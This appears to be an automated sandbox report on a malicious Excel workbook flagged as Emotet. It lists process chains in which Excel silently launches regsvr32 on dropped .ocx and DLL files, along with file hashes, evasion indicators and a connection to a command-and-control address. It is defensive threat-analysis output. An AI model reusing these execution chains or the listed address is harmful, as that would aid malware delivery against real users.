Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800135B4	9_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001C1B8	9_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800025B8	9_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800085BC	9_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800015C0	9_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800295C8	9_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800229CC	9_2_00000001800229CC

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9197FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF919BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74E1628 appears 214 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF919B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times

Source: C:\Windows\System32\regsvr32.exe

Process Stats: CPU usage > 98%

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll 67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll 8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll 38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls

ReversingLabs: Detection: 39%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\VrLOhrB\szFRUu.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FUVVPG\TGCY.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FUVVPG\TGCY.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\VrLOhrB\szFRUu.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR53D9.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@16/15@4/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	OLE indicator, Workbook stream: true
Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006F2C CloseHandle,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,

4_2_0000000180006F2C

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C892 push ebp; retf	3_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D095 push B3B8007Eh; iretd	3_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D0F3 push ebp; iretd	3_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013551 push ebx; retf	3_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D15D push ebx; retn 0068h	3_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CDA8 push ebp; iretd	3_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CE36 push 458B0086h; iretd	3_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013551 push ebx; retf	4_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C892 push ebp; retf	5_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D095 push B3B8007Eh; iretd	5_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D0F3 push ebp; iretd	5_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013551 push ebx; retf	5_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D15D push ebx; retn 0068h	5_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CDA8 push ebp; iretd	5_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CE36 push 458B0086h; iretd	5_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C892 push ebp; retf	9_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D095 push B3B8007Eh; iretd	9_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D0F3 push ebp; iretd	9_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013551 push ebx; retf	9_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D15D push ebx; retn 0068h	9_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000CDA8 push ebp; iretd	9_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000CE36 push 458B0086h; iretd	9_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180013551 push ebx; retf	10_2_0000000180013559

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c267
Source: LjSKxP[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5d0fb
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x0 should be: 0x667cb
Source: CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c267
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x667cb
Source: uxevr4.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5d0fb

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FUVVPG\TGCY.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FUVVPG\TGCY.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\FUVVPG\TGCY.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\VrLOhrB\szFRUu.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1320	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2944	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 948	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 768	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1120	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16375

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		10_2_00000001800248B0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16377
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16481
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-14272
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000005.00000002.1245924691.000000000030A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: regsvr32.exe, 00000003.00000002.913710078.00000000002CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware_SAT

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74EF298 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF74EF298
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74E8670 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF74E8670
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF919BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000007FEF919BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9193280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000007FEF9193280

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FUVVPG\TGCY.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\VrLOhrB\szFRUu.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	5_2_000007FEF74F4C0C
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,	5_2_000007FEF74F383C
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoW,GetLocaleInfoW,GetACP,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s,	5_2_000007FEF74F3EB8
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	5_2_000007FEF74F3E4C
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	5_2_000007FEF74F3DB4
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	5_2_000007FEF74F39B4
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	5_2_000007FEF74F3C84
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	5_2_000007FEF74EF070
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,	5_2_000007FEF74F3924

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 9.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.regsvr32.exe.7fef74e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.7fef74e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1045326687.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1246167639.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1043672684.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1245776901.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1330732797.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.913587412.00000000001E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1330526390.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1331411753.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1331036064.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
